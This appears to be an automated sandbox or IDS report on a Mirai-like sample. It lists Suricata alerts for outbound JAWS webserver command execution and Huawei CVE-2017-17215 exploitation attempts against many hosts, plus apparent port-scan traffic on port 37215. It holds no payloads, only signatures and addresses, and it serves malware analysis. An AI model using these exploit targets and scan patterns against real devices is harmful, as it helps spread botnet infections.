Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:41826 -> 196.113.39.196:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:41826 -> 196.113.39.196:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47404 -> 197.28.77.200:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:44878 -> 81.220.130.17:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49886 -> 156.86.142.141:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:44878 -> 81.220.130.17:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57922 -> 197.175.162.9:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50226 -> 197.192.252.246:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35802 -> 41.130.183.227:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:39320 -> 197.83.134.208:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43692 -> 156.50.56.6:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56986 -> 41.125.204.121:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38320 -> 156.161.221.30:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:49808 -> 192.42.222.62:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:49808 -> 192.42.222.62:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:51850 -> 97.20.150.117:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:51850 -> 97.20.150.117:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:57678 -> 95.19.138.98:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:55262 -> 66.111.47.208:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36550 -> 156.75.208.51:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:43998 -> 217.153.188.215:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:57678 -> 95.19.138.98:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:43998 -> 217.153.188.215:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:55262 -> 66.111.47.208:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:40186 -> 162.220.2.172:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:51016 -> 79.116.248.55:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:40186 -> 162.220.2.172:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:51016 -> 79.116.248.55:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:57020 -> 128.112.38.90:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:49272 -> 104.152.54.54:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:49272 -> 104.152.54.54:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:57308 -> 138.183.55.28:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:57308 -> 138.183.55.28:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:57020 -> 128.112.38.90:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:47534 -> 4.72.184.235:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:47534 -> 4.72.184.235:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:33090 -> 189.0.183.80:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:33090 -> 189.0.183.80:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:58312 -> 157.6.177.246:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:58312 -> 157.6.177.246:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:37080 -> 69.161.126.58:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:40642 -> 144.119.91.38:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:40642 -> 144.119.91.38:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:54890 -> 116.112.231.234:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:54890 -> 116.112.231.234:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:37080 -> 69.161.126.58:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:37900 -> 202.130.99.38:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:39424 -> 90.108.111.109:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:37900 -> 202.130.99.38:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:51974 -> 88.216.109.178:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:47836 -> 197.235.197.121:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:47836 -> 197.235.197.121:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:39424 -> 90.108.111.109:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:51974 -> 88.216.109.178:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:49134 -> 205.239.229.243:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:45794 -> 166.80.178.29:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:45794 -> 166.80.178.29:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:56374 -> 17.46.78.253:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:49134 -> 205.239.229.243:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:56374 -> 17.46.78.253:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:43034 -> 129.211.146.204:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:43034 -> 129.211.146.204:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:53976 -> 38.193.115.79:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:53976 -> 38.193.115.79:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:55948 -> 72.63.230.236:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:55948 -> 72.63.230.236:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:36068 -> 5.75.149.40:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:36068 -> 5.75.149.40:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:50748 -> 25.54.225.86:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:50748 -> 25.54.225.86:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:58504 -> 133.118.225.164:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:58504 -> 133.118.225.164:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:36374 -> 97.244.33.25:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:36374 -> 97.244.33.25:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:59796 -> 159.47.171.162:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:59796 -> 159.47.171.162:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:36696 -> 209.150.79.136:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:36696 -> 209.150.79.136:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:34642 -> 35.112.130.0:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:34642 -> 35.112.130.0:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:60124 -> 166.187.185.64:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:37288 -> 104.26.182.212:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:37288 -> 104.26.182.212:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:38210 -> 189.229.250.31:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:60124 -> 166.187.185.64:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:38210 -> 189.229.250.31:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:52024 -> 185.182.217.67:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:53062 -> 1.193.110.180:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:58822 -> 213.119.90.178:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:53062 -> 1.193.110.180:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:52024 -> 185.182.217.67:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:35788 -> 19.6.226.162:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:45704 -> 45.165.167.126:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:35788 -> 19.6.226.162:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:45704 -> 45.165.167.126:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:58822 -> 213.119.90.178:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:41420 -> 65.50.253.98:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:41420 -> 65.50.253.98:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:50594 -> 182.108.239.192:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:50594 -> 182.108.239.192:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:37120 -> 40.16.176.8:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:37120 -> 40.16.176.8:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:59264 -> 143.61.230.117:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:59264 -> 143.61.230.117:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:47650 -> 150.132.66.234:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:47650 -> 150.132.66.234:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:37340 -> 105.164.179.94:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:41556 -> 71.19.188.39:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:36968 -> 206.51.38.129:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:41556 -> 71.19.188.39:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:36968 -> 206.51.38.129:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:37340 -> 105.164.179.94:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:37130 -> 118.123.115.190:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:59960 -> 44.158.121.102:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:52208 -> 106.98.6.182:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:37130 -> 118.123.115.190:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:59960 -> 44.158.121.102:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:52208 -> 106.98.6.182:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:35248 -> 71.115.238.200:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:35248 -> 71.115.238.200:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:51862 -> 60.252.105.123:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:51862 -> 60.252.105.123:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:37720 -> 133.125.76.20:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:37720 -> 133.125.76.20:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:48412 -> 103.166.90.206:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:48412 -> 103.166.90.206:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:38434 -> 94.59.87.106:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:33364 -> 45.30.153.204:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:49156 -> 177.187.139.79:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:38434 -> 94.59.87.106:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:33364 -> 45.30.153.204:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:49156 -> 177.187.139.79:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:51944 -> 152.172.151.57:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:51944 -> 152.172.151.57:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:54986 -> 153.219.128.111:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:53512 -> 52.41.130.112:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:38362 -> 123.0.203.63:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:53512 -> 52.41.130.112:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:38362 -> 123.0.203.63:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:33862 -> 61.198.150.68:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:33862 -> 61.198.150.68:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:33046 -> 51.141.52.144:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:33046 -> 51.141.52.144:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:33498 -> 208.68.92.42:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:54986 -> 153.219.128.111:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:33498 -> 208.68.92.42:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:52064 -> 146.238.125.7:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:52064 -> 146.238.125.7:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:60150 -> 220.134.22.54:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:35914 -> 101.33.15.182:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:60150 -> 220.134.22.54:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.13:52286 -> 218.226.185.104:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.13:52286 -> 218.226.185.104:80

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.132.40.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.72.218.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.64.10.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.67.52.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.30.114.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.98.216.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.161.207.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.184.44.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.26.77.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.114.127.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.233.138.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.203.83.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.107.250.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.200.188.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.94.70.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.108.47.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.243.109.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.19.166.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.184.139.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.203.83.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.222.140.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.12.242.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.95.186.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.195.220.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.92.158.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.113.138.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.29.43.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.236.183.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.122.87.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.232.203.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.212.205.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.56.118.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.10.74.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.30.62.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.221.255.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.248.71.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.112.77.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.157.102.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.143.43.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.124.152.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.211.66.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.254.132.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.232.51.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.33.35.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.250.48.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.27.162.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.14.215.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.233.14.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.3.18.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.223.211.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.48.66.60 ports 1,2,3,5,7,37215
